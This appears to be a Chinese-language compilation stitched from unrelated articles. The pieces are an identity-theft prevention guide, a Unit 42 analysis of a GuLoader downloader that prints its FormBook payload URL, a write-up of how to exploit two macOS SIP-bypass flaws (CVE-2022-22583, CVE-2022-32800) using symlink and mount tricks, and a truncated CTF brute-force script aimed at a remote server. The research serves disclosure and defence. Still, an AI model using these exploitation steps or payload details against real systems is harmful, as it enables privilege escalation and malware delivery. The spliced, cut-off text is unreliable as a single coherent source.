身份盜竊的警告信號有幾個關鍵的警告信號可以表明你的身份被竊取了。如果你看到以下任何一個危險信號,是時候採取行動保護你的身份和財務了:

收到不認識的賬戶的賬單或收款通知;

銀行賬戶出現不明原因的提款;

接到來自企業的電話或信件,詢問你沒有購買的產品或服務;

信用報告上有新賬戶或貸款,但你並沒有開設;

被拒絕申請信貸或貸款,因為你的信用報告上的信息似乎不正確;

如果你懷疑自己的身份被盜了,第一步是聯繫信用機構,並在你的檔案上發布欺詐警報。你還應該聯繫你的金融機構,以及任何你認為小偷可能會以你的名義開設新賬戶的企業。通過採取這些步驟,你可以保護自己免受進一步的傷害,並開始找回自我的過程。

如何防止身份盜竊?正如Bruce Schneier所言,“身份盜竊是信息時代的新型犯罪活動。犯罪分子收集了足夠多的個人數據,用來向銀行、信用卡公司和其他金融機構冒充受害者。然後他會以受害者的名義貸款,收了錢,就消失掉,受害者只能背黑鍋。雖然部分損失由金融機構——尤其是信用卡公司——承擔,但信用評級方面的損失則由受害者承擔。受害者可能需要數年時間才能為自己正名。”

一旦發生身份盜竊,要想恢復網絡罪犯竊取的信息是極其困難的。很多時候,你甚至不知道它是如何或何時發生的。

這就是為什麼採取積極主動的安全措施總是更好的,這將防止騙子竊取你的個人詳細信息和信息。謹慎行事總是好的,而不是在傷害已經造成、無法控制時才做出反應。

保護您的身份免受在線威脅(網絡層面)

1. 為你的網上帳戶選擇一個合適的密碼最重要的步驟之一是:始終確保你的密碼是強大的和唯一的。長度在15個字符左右,使用大寫字母和小寫字母,以及數字和符號;不要使用你的出生日期、電話號碼、社會保險號、家庭成員的名字或你寵物的名字,這些很容易被攻擊者猜到,通常只需要看看你的社交資料。

此外,不要在不同的賬戶之間重複使用密碼。如果您在所有地方都使用相同的密碼,攻擊者將能夠訪問您的所有其他帳戶。

但如果我們創建了非常多的在線賬戶,我們到底該怎麼做呢?

首先,不要把它們寫下來!不要寫在你桌子上的紙上,不要寫在電子郵件草稿裡,也不要寫在你桌面上的文本文件裡。這些都是不安全的地點。相反地,您可以開始使用密碼管理器。它會記住你所有的密碼,並以安全的方式存儲它們。另一個關鍵的安全步驟是在任何可用的地方激活雙因素或多因素身份驗證。

2. 不要在網上發布機密信息在發布關於你的信息之前要三思。我們在網上發布的所有內容都將保留在那裡,每個想看的人都可以看到。儘管我們願意認為我們可以控制自己的隱私,但事實是我們永遠無法確定誰在監視我們。我們永遠都不知道這些信息會到哪裡去。即使我們採取了所有可能的安全措施,我們仍然依賴於其他服務和系統,這些服務和系統可能並不像他們聲稱的那麼安全。

這就是為什麼我們要關注我們放在評論、私人信息、帖子、簽到、照片或其他我們在網上顯示的任何東西中的所有數據是很重要的。這裡的“在線”指的是博客、社交網絡(Twitter、Facebook、LinkedIn、Instagram等)上的帖子、照片、簽到或評論,也包括AirBnB、TripAdvisor、Booking等網站。

3.小心網絡釣魚詐騙網絡釣魚是最古老的網絡威脅之一,但它仍然會造成很大的損害。攻擊者不斷改進他們的技術和欺詐方法。主要的網絡釣魚計劃和活動出現在:

網上購物;

查看電子郵件帳戶;

訪問社交媒體網絡;

雖然網絡釣魚使用多種渠道獲取我們的證書,但垃圾郵件攻擊仍然是主要的成功方法。

4.網上購物要謹慎

網絡購物已經變得非常方便,我們有更多的選擇,可以在一個地方,一次點擊即可完成操作,節省了我們大量的時間和金錢。

在網上購物時,最重要的是要確保你在一個合法的網站上。以下是如何確保你不會將財務信息發送給網絡罪犯的方法:

從知名、可信的網站購物;這將減少任何不愉快的意外的可能性;

檢查連接是否加密。您可以通過查看地址欄來做到這一點:是否有一個綠色鎖的圖標?地址開頭是“https”而不是“http”嗎?

另外,確保在線支付時激活二次認證因素。在下單前,您將在手機上收到最終識別碼;

最安全的方法是只在網上購物時使用一張單獨的卡。只有在你想買東西的時候才把錢轉到上面,否則就以低金額保存它。這樣,萬一有什麼不好的事情發生,你仍然有一個安全網。

5.保護您的瀏覽器設置我們的瀏覽器是連接網站的主要工具。因此,需要對它給予高度重視。確保您使用的是包含所有可用安全補丁的最新瀏覽器版本。

沒有所謂的免費程序,所以確保你在下載之前通過快速的網絡搜索仔細檢查免費程序的安全性和合法性。

如果從公共計算機連接,請使用私人瀏覽會話,您一定不希望本地記錄您的瀏覽歷史詳細信息。

為了確保你的連接是安全的,你可以使用VPN軟件或Tor瀏覽器加密它,以隱藏你的瀏覽活動。

6.使用多種安全產品保護您的計算機身份竊賊會使用多種工具獲取你的個人數據。我們這裡不是在談論普通的病毒,我們指的是高級惡意軟件和間諜軟件工具,如鍵盤記錄器,漏洞利用工具包和遠程管理工具。它們能夠在您不知情的情況下從系統中檢索敏感信息。

高級惡意軟件旨在逃避普通的反病毒檢測。有時要過很長一段時間你才能意識到它的存在。這就是必須配置一個好的殺毒軟件的原因。它能夠最大限度地減少你清理惡意軟件攻擊造成的混亂的時間。

此外,為了確保銀行業務的金融安全,並防範零日惡意軟件,您還需要先進的掃描技術,可以保護您免受最新的威脅。

7.保持系統和軟件更新用最新的安全補丁更新您的系統。對於易受攻擊的應用程序和程序,應該做同樣的事情。如果你不想每天檢查和更新這些應用程序,你也可以使用專門的解決方案來自動完成這項工作。

保護您的身份免受人身威脅(物理層面)以下步驟旨在解決物理盜竊企圖,因為它們可以造成和在線威脅一樣大的破壞。

8.誰在監視你?當你站在自動取款機前或當地的商店,試圖取一些錢或只是輸入你的密碼來支付時,在鍵入敏感數據之前,請確保你周圍沒有人可以看到你的信息。即使你沒有看到周圍的人,也可能有特殊的監控機制,所以為了確保你的安全,盡量隱藏你鍵入的數字。

9.你帶了什麼?在你離開家之前,花點時間考慮一下該帶哪些東西。只帶必要的物品,可以減少潛在的損失。 此外:

不要把你的包放在無人看管的公共場所或遠離你的地方。

不要把你的錢包隨便亂放,給小偷製造機會。

考慮分散竊賊的注意力。你可以帶一個假錢包,或者乾脆不把重要的東西放在包裡,因為這些東西可能會被偷。把重要的東西放在身邊。

10.銷毀不再需要的文件我們習慣把重要數據放在家裡。這些信息可能是你過去工作的地方、醫療記錄、證書和文憑,甚至可能是與你工作有關的機密信息。

我們都有收集各種文件和信息的傾向。其中一些我們可能不再需要了,比如收據或銀行對賬單。雖然我們可能不再需要這些數據,但這對騙子來說,可能仍是可以利用的重要元素。

因此,在你扔掉那些文件之前一定要把它們銷毀,比如使用碎紙機,不要只是把它們放在垃圾桶裡。

11.保護好你的郵箱試著像身份竊賊一樣思考。當你需要找到個人信息,尤其是某人的財務細節時,你會考慮從何處入手?

最簡單的方法是從那些保護較少的區域開始,比如郵箱。想一下:

你在郵箱裡收到過什麼類型的信息?你收到銀行的重要文件了嗎,也許是一張新的信用卡?如果你這樣做了,你需要聯繫銀行,讓他們停止這種類型的通信。如果你有重要的東西需要收集,只要去銀行取就行了。

你收到每項服務的發票了嗎?也許這對你來說似乎不是太多的數據,但身份竊賊可以使用這些信息與其他來源相關聯,以了解你的財務狀況。通過電子郵件接收發票會更容易,因為今天大多數服務提供商都提供這種選擇。

你的郵箱保護得怎麼樣?如果任何人都可以訪問你的郵箱,而你又知道有重要的信息被發送到那裡,也許你應該在郵局設置一個高安全性的郵箱或私人郵箱。

12.你了解電話來源嗎?沒錯,身份竊賊可能會給你打電話,冒充銀行代理或官方代表,要求你提供私人細節或財務數據。

小偷是怎麼知道你的銀行的?好吧,記住前面的幾點。要獲得你的信息並不難。他們可能會查看你的郵箱,他們可能會在商店或自動取款機上看著你,甚至他們可能會翻看你的垃圾。發現這點信息並不難。

不要被他們使用的專業語氣所愚弄。切記不要在電話中提供重要信息,除非是你主動打電話的,而且你真的知道自己在和誰通話。

13.銷毀你的數字信息如今,我們都使用雲服務來存儲重要文件,無論是工作文件還是個人照片。

然而,隨著時間的推移,我們在CD/DVD或外部硬盤驅動器上收集了各種類型的信息。有時,我們不得不扔掉一個看似無法運行的硬盤,而忽略了我們留在上面的私人數據。

要了解廢棄磁盤中的信息對你的危害,只要想想你留在磁盤上的所有照片、文檔和私人詳細信息就可以了。使用特殊的工具和軟件,黑客可以從這些硬盤中輕鬆地檢索到所有信息,並使用它來對付你——即使你在扔掉它之前刪除了數據並進行了格式化。

為了確保對舊磁盤的不安全處理不會成為身份竊賊的機會,您需要確保已銷毀了該數據。有以下選項:

多次覆蓋數據,讓身份竊賊更難下手。你也可以使用專門的軟件來幫你做這件事;

物理上銷毀硬盤或CD/DVD;

你知道打印機和復印機也有內置硬盤嗎?所以,在移除硬盤之前,不要直接扔掉打印機。

14.保護好你的社會安全號碼這是保護你的身份不被小偷竊取的最重要的步驟之一,因為這條信息可以在多種情況下使用。 身份竊賊可以使用你的社會安全號碼申請新信用卡或開立銀行賬戶,要求貸款,甚至租房子。

它還可以用來在電話或在線上證明你的身份,以便訪問私人信息。這裡有一些保護它的技巧:

不要把它用作任何在線賬戶的密碼;

除非你真的需要,否則不要隨便帶著它;

不要通過電子郵件發送相關信息;

不要把它存儲在你的電腦、智能手機或云驅動器上。

15.確保智能手機安全現在我們可以用智能手機完成所有的操作,例如拍照、獲取信息、與朋友保持聯繫、訪問云存儲甚至進行金融交易。這成為我們最大的風險。想想看,一個人僅僅通過使用智能手機就能獲得多少信息。

你可以遵循以下幾個步驟,以確保你的智能手機數據不會落入壞人之手:

下載知名公司的應用程序,尤其是用於金融交易的應用程序;

使用強大的密碼來保護移動設備,或者更好的是,使用2種方法來保護它免受任何破壞。生物特徵認證,比如用你的指紋鎖定,可能被證明是最安全的;

使用最好的應用程序來保護你的智能手機,其中大多數都包含GPS功能和遠程清除機制。

16. 備份這裡不是指電腦備份,而是指備份某些東西,以防某些東西在某個時候丟失。讓我們試著回答幾個問題,這樣我們就可以弄清楚並找到解決方案:

你把所有的錢都存在一張信用卡上嗎?為什麼?至少用兩張卡,然後把錢分散存儲;

你出門的時候會把兩張卡片都帶在身上嗎?為什麼?就拿一個吧。或者至少不要把它們放在同一個地方。這樣,你就可以減少潛在的損失。

你需要在某個地方驗證你的身份嗎?好的,你可以隨身攜帶身份證明文件,但是不要把身份證、駕照和護照全部帶走。

你真的需要帶正式文件嗎?也許你可以用複印件代替。在任何情況下,確保你總是有所有重要文件的複印件,特別是在旅行時。

你有丟失公文或信用卡時可以求助的電話號碼嗎?

結語身份盜竊是一個嚴重的問題,會對受害者造成毀滅性的影響。我們希望本指南為您提供了必要的知識和工具,以幫助您保護自己免受身份盜竊。

保護您的個人信息安全應該是一項首要任務,所以記住要時刻留意任何可疑的事情,並在網上保護自己時採取積極主動的措施。只需採取一些簡單的步驟,比如鎖定你的賬戶,使用強密碼,警惕網絡釣魚詐騙,跟踪你的信用評分,就可以保護自己免受潛在的身份盜竊影響。現在採取這些預防措施將為你以後節省更多時間和金錢。

Unit 42研究人員討論了基於虛擬機監控程序的沙盒中基於內存的工件構建的機器學習渠道,該沙盒是Advanced WildFire的一部分。可以提高對惡意軟件的檢測精度。

正如我們以前所介紹的,惡意軟件開發者正在不斷完善他們的攻擊手段,以使靜態分析和沙盒等策略失效。封裝方法和沙盒逃避等技術的不斷發展讓防御者防不勝防。

更糟糕的是,流行的檢測技術,如結構分析、靜態簽名和許多類型的動態分析,並不能很好地應對目前越來越複雜的攻擊。

惡意軟件開發者越來越多地採用逃避技術,如混淆、封裝和在進程內存中執行動態注入的shellcode。使用來自文件結構的線索進行惡意軟件檢測可能並不總是成功的。封裝技術可以充分修改文件結構以消除這些線索。因此,僅在這類特徵上訓練的機器學習模型將無法有效地檢測出此類樣本。

這種檢測方法的另一種流行的替代方法是使用機器學習模型,該模型基於惡意軟件在沙盒內的執行痕跡來預測惡意行為。然而,正如我們原來所詳細介紹的那樣,沙盒逃避非常普遍,有效負載通常會根據任何數量的線索選擇不執行,這些線索會指向正在模擬的樣本。

惡意軟件也可能會無意或有意地破壞沙盒環境,覆蓋日誌文件,或由於其所使用的低級技巧而阻止成功分析。這意味著,在執行日誌上訓練機器學習模型也不足以捕捉這些逃避類的惡意軟件。

使用NSIS Crypter加密的GuLoader惡意軟件在這篇文章中,我們將分析一個使用Nullsoft Scriptable Install System(NSIS)加密器加密的GuLoader下載器。 NSIS是一個用於創建Windows安裝程序的開源系統。

Hashcc6860e4ee37795693ac0ffe0516a63b9e29afe9af0bd859796f8ebaac5b6a8c

為什麼靜態分析沒有幫助GuLoader惡意軟件是加密的,它也是通過NSIS安裝文件傳遞的,這對於靜態分析來說並不理想,因為必須首先解壓縮文件內容。一旦它被解壓縮,我們仍然有加密的數據和一個NSIS腳本。腳本本身也會動態地解密代碼的某些部分,這是使其難以檢測的另一個因素。

然而,沒有太多的結構線索可以識別這可能是惡意軟件。因此,在可移植可執行文件(PE)結構上訓練的機器學習模型將不能有效地將該文件與其他良性文件區分開來。

NSIS腳本和提取GuLoadershellcode要提取NSIS腳本,我們必須使用7-Zip的舊版本15.05。這個版本的7-Zip能夠解包腳本,而新版本已經刪除了解包NSIS腳本的功能。一旦我們提取了文件內容和NSIS腳本(如圖1所示),我們就可以開始分析腳本並查看GuLoader示例是如何執行的。

2.png

NSIS腳本

如果向下滾動腳本,我們會很快注意到文件正在復製到新創建的名為%APPDATA%\Farvelade\Skaermfeltet的文件夾中。雖然不清楚原因,但所使用的文件路徑似乎是丹麥語。在復制活動之後,腳本中有常規的安裝邏輯,但是有一個名為func_30的有趣函數。

在此函數被調用之前,字符串$INSTDIR\Filterposerne\Malkekvg. exeNat被複製到名為$4的字符串變量中,如圖2和圖3所示。函數func_30從Programmeludviklinger210中讀取數據。 Kon文件並構建代碼,它將在字符Z被看到後立即調用這些代碼。

NSIS允許開發人員能夠從Windows DLL調用任何導出的函數,並且還允許他們將結果直接保存在NSIS寄存器/堆棧中。此功能允許惡意軟件開發者在運行時動態調用Windows API函數,並使靜態分析更加困難,因為在分析之前必須對其進行評估。

3.png

調用函數func_30

4.png

解碼NSIS代碼

要解碼動態代碼,我們可以編寫一個簡短的Python腳本,該腳本再現行為並提取Windows API調用:

5.png

下圖顯示了上述腳本產生的解碼數據

6.png

解碼的Windows API調用

解碼後的函數一起從NSIS壓縮文件中的另一個文件中讀取shellcode,並使用EnumWindows函數執行它。如果我們必須用偽代碼編寫這個過程,它看起來應該是這樣的:

7.png

為了使其餘的分析更容易,我們將使用shellcode生成一個PE。為了生成可執行文件,我們可以使用Cerbero Profiler或LIEF Python庫等工具。

在本例中,我們使用了LIEF庫來構建一個新的可執行文件。我們所要做的就是添加一個包含Malkekvg.Nat文件內容的新部分,並將入口點設置為正確的偏移量。一旦我們得到了這些,就應該能夠在IDAPro中打開shellcode,並看到它包含有效的x86指令。

8.png

8.2.png

在IDA Pro的入口點生成PE文件

Shellcode分析現在我們在PE文件中有了Shellcode的第一階段,我們可以在動態分析中運行它,看看會發生什麼。我們將看到的第一件事是它檢測到虛擬機,並在顯示消息框後停止執行。此文本在運行時使用4字節XOR密鑰解密。

9.png

無法在虛擬環境中執行該示例

如果我們在IDA Pro中打開文件並稍微遵循代碼,就應該能夠看到用於解密第一階段的大函數。雖然函數圖概述看起來很大,但識別垃圾代碼仍然很容易。

進行解密的代碼如下圖所示。在下圖中,我們可以看到跳轉到第二階段的最終調用。此時,我們可以將第二階段轉儲到另一個可執行文件中進行解密。

我們可以直接從內存中轉儲可執行文件,但是必須確保將入口點修補到正確的地址(在本例中為0x404328)。

10.png

第一階段的Shellcode解密

11.png

調用到下一階段

第二階段使用了許多反分析技術,其中的一些反分析技術為:

內存掃描已知沙盒字符串;

虛擬機監控程序檢查;

時間測量;

為了獲得GuLoader正在下載的最終負載,我們必須手動繞過所有這些檢查,在不受所有這些技術影響的沙盒中運行它,或者在裸金屬沙盒上運行它。

提取有效負載信息為了在不分析第二階段的情況下獲得有效負載信息(包括所有字符串),我們可以使用Spamhaus描述的一個小技巧。 GuLoader使用簡單的XOR加密來加密其字符串,其中包括有效負載URL。

要解密字符串,我們可以對已經知道存在於第二階段中的模式使用暴力。 XOR運算的結果就密鑰。對此的唯一限制是模式必須足夠大,以便我們能夠完全解密有效負載URL。例如,一個好的模式可能是用戶代理字符串,默認設置為Mozilla/5.0(Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) ,如Gecko。

為了快速自動找到解密密鑰,我們必須首先加密一個短模式(例如,用戶代理字符串的前8個字節),然後搜索該結果是否在文件中的某個位置。如果它在文件中的某個位置,那麼我們可以繼續解密剩餘的模式以獲得完整的加密密鑰。

我們會在本文的最後附上Python腳本,該腳本能夠通過上述方法從有效負載中找到加密密鑰。在任何轉儲的第二階段GuLoader負載上運行腳本後,我們應該能夠看到一些字符串和負載URL。

GuLoader有時在有效負載URL前麵包含7到8個隨機字符,它在運行時將其替換為http://或https://。使用http還是https的區別是由隨機模式中的第四個字符決定的。

12.png

在此示例中,有效負載URL為http://ozd[.]com[.]ar/wp-includes/nHMoYlbGLWls101.qxd,並且在分析時有效載荷仍然在線。

最終下載的有效負載來自FormBook惡意軟件家族,其SHA256值為fa0b6404535c2b3953e2b571608729d15fb78435949037f13f05d1f5c1758173。

機器學習如何檢測?在之前的一篇文章中,我們詳細介紹了在實時沙盒運行期間可以從內存中提取的幾種可觀察工件。我們發現,當與機器學習結合使用多種逃避技術檢測惡意軟件時,來自內存分析的數據是非常強大的。

接下來我們回仔細觀察所有這些關於運行時內存中被修改的內容,並將它們與大規模的機器學習相結合,用於惡意軟件檢測。該算法可以自動找到模式,並且可以識別惡意軟件試圖在內存中隱藏其足跡、動態分配和執行shellcode或使用解包的共性。

在這個GuLoader示例中,人類分析人員會立即識別出有幾個獨特的函數指針。我們還會注意到,惡意軟件已經將其自身進程內存中的多個頁面的頁面權限更改為可寫和可執行。我們的機器學習模型能夠自動執行這些活動,從各種內存構件中提取有關特徵來檢測GuLoader示例。

如上所述,我們為Advanced WildFire創建的自動分析平台將以一種高性能的方式自動提取所有這些基於內存的工件。這意味著所有與動態解析函數指針、權限更改和解包可執行文件相關的信息都可以在我們手動管理的檢測邏輯中使用,也可以用於我們的機器學習渠道。

使用機器學習模式的檢測下圖顯示了我們如何創建一個機器學習模型渠道的高級視圖,該模型渠道是根據從上述基於內存的工件中提取的自定義特徵進行訓練的。我們選擇的特性被設計成保留來自冗長工件的最有用的信息。

我們還將惡意軟件執行跟踪作為額外的信息源,並構建了一個集成模型來檢測惡意樣本。如下圖所示,從四個內存工件和惡意軟件執行痕跡中自動提取各種自定義特徵,並將它們傳遞給一個分類模型以檢測惡意樣本。此外,我們還構建了一個集成模型,該模型基於內存工件和基於執行跟踪的特性進行訓練,以提高其性能。

13.png

機器學習模型架構

文件樣本由流程渠道處理,以將內存工件和其他惡意軟件屬性保存到功能存儲中。特徵提取階段使用流式處理和批處理PySpark作業的組合來生成用於訓練模型的最終特徵向量。

ground truth標籤來自一個單獨的渠道,該渠道根據惡意軟件特徵和研究人員輸入為樣本分配標籤。該渠道通過使用樣本首次出現的時間和哈希來生成非重疊的訓練和評估數據集。

解釋模型預測為了識別模型的局限性和能力,理解機器學習模型的預測是至關重要的。機器學習很容易出現誤報,因為它嚴重依賴於訓練數據的質量和多樣性,以及對不斷變化的文件進行預測的泛化能力。因此,具有識別預測的因果特徵的能力是非常有用的。

Shapley值Shapley加法解釋(SHAP)是一種博弈論方法,用於解釋任何機器學習模型的輸出。與基線預測相比,SHAP值解釋了每個特徵對輸入特徵向量的實際預測的影響。在下圖中,從右到左的紅色特徵是將模型推向惡意預測的最頂層特徵。從左到右,藍色的特徵表示降低預測為惡意軟件概率的最頂層特徵。

15.png

如上圖所示,我們繪製了具有重要SHAP值的前七個特徵及其相應原始特徵值的力圖。由於這些頂級特徵的存在,我們的機器學習模型能夠檢測到GuLoader。這些特性對應於幾個特定的動態解析API指針及其在內存中的相對位置,以及樣本所做的內存頁權限更改的相對類型。

通過聚類尋找相似樣本另一種理解模型預測的方法是在訓練數據集中識別相似的樣本。我們使用基於密度的掃描(DBScan)作為聚類技術,如下圖所示,因為它允許異常值和不同形狀的聚類。

16.png

基於DBSCAN的集群

總結GuLoader家族是unit42開發的機器學習模型檢測惡意軟件的一個很好的示例,因為GuLoader使用沙盒逃避和靜態防護,使得傳統防禦很難單獨使用結構線索和執行日誌進行檢測。

在Advanced WildFire中,開發人員引入了一個基於虛擬機監控程序的沙盒,它可以在執行期間暗中觀察GuLoader的內存,以解析有意義的內存駐留工件和對機器學習檢測渠道有用的信息。這允許安全防護人員使用從觀察到的基於內存的工件中提取的特徵來準確地檢測惡意行為。

我們會在本文詳細介紹如何使用不同的方法利用CVE-2022-22583的技術細節。我們還在本報告中討論了CVE-2022-32800的技術細節。

2022年1月26日,蘋果公司修復了PackageKit框架中的系統完整性保護(SIP)繞過漏洞,該漏洞被識別為CVE-2022-22583。

Perception Point發布了一篇關於該漏洞及其利用細節的文章後,我們確定我們利用該漏洞的方法與他們的不同。在深入挖掘CVE-2022-22583之後,我們還發現了一個新的漏洞CVE-2022-32800。

這篇文章討論了我們如何使用不同的方法利用CVE-2022-22583的技術細節。關於SIP和特殊守護進程服務的權利的更多詳細信息可以在我們上個月的文章中找到。我們還會討論在2022年社區力量安全會議(POC2022)期間向蘋果披露的15個以上關鍵SIP繞過漏洞中的幾個。

CVE-2022-22583CVE-2022-22583的安全漏洞我們通過進程監控發現了這個漏洞。當我們將apple簽名的軟件安裝包(PKG)文件安裝到root volume時,我們注意到以下腳本是由特權“system_install”服務生成的:

1.png

因為“system_installd”服務具有特殊的“com.apple.rootless.install.heritable”權限,所以這兩個腳本將在SIP繞過上下文中執行。

在看到這兩個腳本位於“/tmp/PKInstallSandbox.l57ygT”目錄後,我想到了以下問題:

我們可以修改臨時位置內的腳本嗎?

誰創建了帶有隨機後綴的臨時文件夾“PKInstallSandbox”?

新創建的文件夾是否受SIP保護?

在這些問題的啟發下,我們開始了調查。

通過反轉和調試,我們發現臨時文件夾是由' -[PKInstallSandbox prepareForCommitReturningError:] '函數創建的:

2.png

“prepareForCommitXXX”函數的實現

在第16行,它調用另一個函數“-[PKInstallSandbox _createDirectory:uniquifying:error:]”,該函數在內部調用API“mkdtemp”來不受任何限制地創建文件夾。

3.png

“_createDirectory:uniquifying:”函數的實現

在看到“PKInstallSandbox.XXXXXXX”文件夾未受保護後,我們最初認為它可以被利用和操縱。然而,我們未能直接修改文件夾中的腳本。這是因為子文件夾“Scripts”受到限制,它從受限制的沙盒路徑中移動,如上第25行所示。

至少有兩種不同的方法來克服這個特殊的挑戰並利用這個安全漏洞。

漏洞1:使用掛載技巧第一個漏洞使用掛載技巧。 Perception Point在其文章中對此進行了詳細討論。根據調查,掛載技巧可以通過以下步驟完成:

創建虛擬映像文件並將其裝載到“/private/tmp”上;

使用安裝後腳本安裝Apple簽名的軟件包;

等待安裝程序完成腳本目錄的提取,並收集提取路徑的隨機部分;

卸載映像文件,這將恢復到提取前的“/private/tmp”內容;

創建腳本目錄(使用我們之前獲得的隨機路徑),並將我們想要的任何腳本放入其中。

Perception Point的文章還指出,這裡討論的漏洞取決於時間,可能不會一直成功。

漏洞2:使用符號鏈接我們的漏洞使用了另一種方法:符號鏈接。此漏洞可通過以下步驟實現:

監視“/tmp/PKInstallSandbox.XXXXXXX”目錄的創建,並將其替換為指向另一個“/tmp/fakebox”位置的符號鏈接,以將受限制的腳本重定向到那裡;

一旦腳本位於“/tmp/fakebox”中,請刪除符號鏈接並重新創建相同的“/tmp/PKInstallSandbox.XXXXXXX”目錄,然後將有效負載腳本放在“/tmp/pKInstallSandox.XXXXXXX/scripts/pkgid.XXXXXX/”目錄中;

等待有效負載腳本執行;

此漏洞的完整概念證明已上傳到了GitHub上。我們的概念驗證演示也可以在下圖中看到。

4.png

使用symlink的漏洞演示

即使我們是root用戶,也無法在受限目錄“/Library/Apple”中創建文件,因為SIP狀態已啟用。但是在利用程序的幫助下,我們可以在SIP繞過上下文中執行任意命令,並在受限目錄中成功創建文件。

蘋果CVE-2022-22583的補丁“installd”服務和“system_installd”服務的操作方式有點混亂。在下圖中,我們可以看到第17行和第18行的補丁代碼區分了這兩種服務:

5.png

CVE-2022-22583的補丁

對於蘋果簽署的軟件包,該補丁使用“OpenPath”及其自己的受限沙盒路徑。對於其他包,它仍然使用“/tmp”目錄中的隨機路徑。

安裝沙盒在介紹CVE-2022-32800之前,我們需要了解一些與“安裝沙盒”相關的概念。

Sandbox Repository首先,讓我們看一下“Sandbox Repository”,這是一個由“-[PKInstallSandboxManager _sandboxRepositoryForDestination:forSystemSoftware:create:error:]”函數返回和創建的目錄。

6.png

“_sandboxRepositoryForDestination:XXX”函數的實現

總之,有四種Sandbox Repository:

安裝目標為root volume“/”:

a.對於Apple簽名的pkg: /Library/Apple/System/Library/InstallerSandboxes/.PKInstallSandboxManager-SystemSoftware;

b.其他pkg: /Library/InstallerSandboxes/.PKInstallSandboxManager;

安裝目標不是root volume:

a.對於apple簽名的pkg: $targetVolume/.PKInstallSandboxManager-SystemSoftware;

b.其他pkg: $targetVolume/.PKInstallSandboxManager;

需要注意的是,只有當apple簽名包安裝到root volume時,Sandbox Repository才會受到限制。

沙盒路徑“沙盒路徑”用於在安裝期間存儲腳本和有效載荷等文件。

它是“Sandbox Repository”中的一個目錄,由“[PKInstallSandboxManager addSandboxPathForDestination:forSystemSoftware:]_block_invoke”方法創建:

7.png

實現“addSandboxPathForDestination:XXX”函數

沙盒路徑有四種,每種路徑都有一個通用唯一標識符(UUID)名稱,表示它們特定的沙盒狀態:

UUID.sandbox:創建的第一個狀態;

UUID.activeSandbox:激活狀態,正在使用中;

UUID.trashedSandbox:停用狀態,被丟棄;

UUID.orphanedSandbox:孤立狀態,如果磁盤空間不足,將進行清理;

PKInstallSandbox' PKInstallSandbox '是一個用於抽象和封裝的Objective-C類名:

8.png

通過“-[PKInstallSandbox initWithSandboxPath:installRequest:error:]”方法初始化“PKInstallSandbox”的新實例,這取決於沙盒路徑和安裝請求。

請注意,該實例是可序列化的,並且該類實現了“NSSecureCoding”協議。 “system_installd”服務可以通過“-[PKInstallSandboxManager saveSandboxAsStaged:]”方法將實例保存或序列化到沙盒路徑中名為“SandboxState”的文件中:

9.png

“saveSandboxAsStaged”函數的實現

“PKInstallSandbox”實例也可以稍後通過“-[PKInstallSandboxManager_sandboxAtPath:matchingRequest:forUse:]”方法從“SandboxState”文件還原或反序列化:

10.png

“sandboxAtPath:matchingRequest:XXX”函數的實現

注意,在第57行有一個檢查,它要求恢復的安裝請求與從安裝客戶端傳遞的安裝請求深度相等。這項檢查給我們的開發程序帶來了一個小小的挑戰。

在安裝之前,“system_installd”服務需要根據“-[PKInstallSandboxManagersandboxForRequest:created:error:]”函數中的安裝請求獲取“PKInstallSandbox”的實例。

該函數的核心邏輯如下:

首先,它將從“sandbox Repository”中枚舉所有帶有“.ssandbox”後綴的文件夾,然後從內部的“SandboxState”文件中恢復“PKInstallSandbox”實例。

11.png

枚舉帶有“.ssandbox”後綴的所有文件夾

接下來,如果它找不到與安裝請求匹配的“PKInstallSandbox”實例,那麼它將枚舉帶有“.activeSandbox”後綴的所有文件夾,並嘗試從這些位置還原它們。

12.png

枚舉帶有“.activeSandbox”後綴的所有文件夾

最後,如果它仍然不能匹配這樣的沙盒,它將創建一個新的“沙盒路徑”,並構造一個新的“PKInstallSandbox”實例。

13.png

創建一個新的“沙盒路徑”和實例

CVE-2022-32800漏洞詳細信息CVE-2022-32800漏洞允許攻擊者劫持“SandboxState”文件以獲取SIP繞過原語。

“SandboxState”文件存儲在“Sandbox路徑”中,該路徑位於“Sandbox Repository”中。在正常情況下,“Sandbox存儲庫”僅限於Apple簽名的軟件包。

但是,如果安裝目標是DMG(磁盤映像)卷,則根本不限制“Sandbox Repository”。 “SandboxState”文件也是如此。因此,我們可以製作一個特製的“SandboxState”文件,在反序列化過程中劫持新的“PKInstallSandbox”實例。然後可以控制“PKInstallSandbox”實例的所有成員變量。

漏洞利用有不同的方法可以利用這個漏洞。例如,在下圖中,我們劫持了成員“_cleanupPaths”,以獲取一個原語來刪除任意的SIP保護路徑。

安裝完成後,無論是否成功,它都將調用“-[PKInstallSandboxManager_removeSandbox:]”函數刪除沙盒,並刪除“_cleanupPaths”成員指定的所有文件和文件夾。

14.png

“_removeSandbox”函數的實現

該漏洞的完整概念證明可以在GitHub找到,演示視頻可以在此查看。

蘋果CVE-2022-32800的補丁

蘋果在macOS 12.5中修復了這一安全漏洞。

補丁位於“-[PKInstallSandboxManager _sandboxAtPath:matchingRequest:forUse:]”函數中:

15.png

CVE-2022-32800補丁

正如我們在第38行檢查中看到的,它在內部調用“PKSIPFullyProtectedPath”函數:

16.png

“PKSIPFullyProtectedPath”函數的實現

對於Apple簽名的軟件包,“SandboxState”文件需要受信任或限制。

安全建議為了成功地保護系統免受漏洞攻擊,用戶必須定期更新其操作系統。定期應用安全補丁將阻止攻擊者利用漏洞提升權限並發起惡意攻擊。關於此處討論的漏洞,CVE-2022-22583於2022年1月修補,CVE-2022 2-32800於2022年7月修補。

最終用戶可以受益於安全解決方案,如趨勢科技Mac版防病毒軟件和趨勢科技防護套件,它們有助於檢測和阻止利用此類漏洞的攻擊。

MISC

easyfuzz

1、通过尝试输入字符串判断该程序对输入字符的验证规则为9位字符,并且只要满足输入正确字符使最后返回值全部为111111111即可得flag

4yprmgcvx5m13362.jpg

继续大胆猜测并尝试,发现前两位字符可以为任何字符,都满足110000000,由此可以对后七位字符进行爆破

44cm5q3iitg13365.png

2、逐位爆破,验证思路正确,最后一位为字符串"d"

ljqkzfnsk2213367.png

3、编写爆破脚本,当字符串长度为9位并输入时,将回显不为“Here is your code coverage: 110000000”的结果打印,脚本如下

from pwn import *
from string import printable
conn = remote('101.200.122.251', 12199)
non_matching_strings = []
for i in range(9):
    for char in printable:
        payload = 'a'*i + char + 'a'*(8-i)
        print(conn.recvuntil(b'Enter a string (should be less than 10 bytes):'))
        conn.sendline(payload.encode())
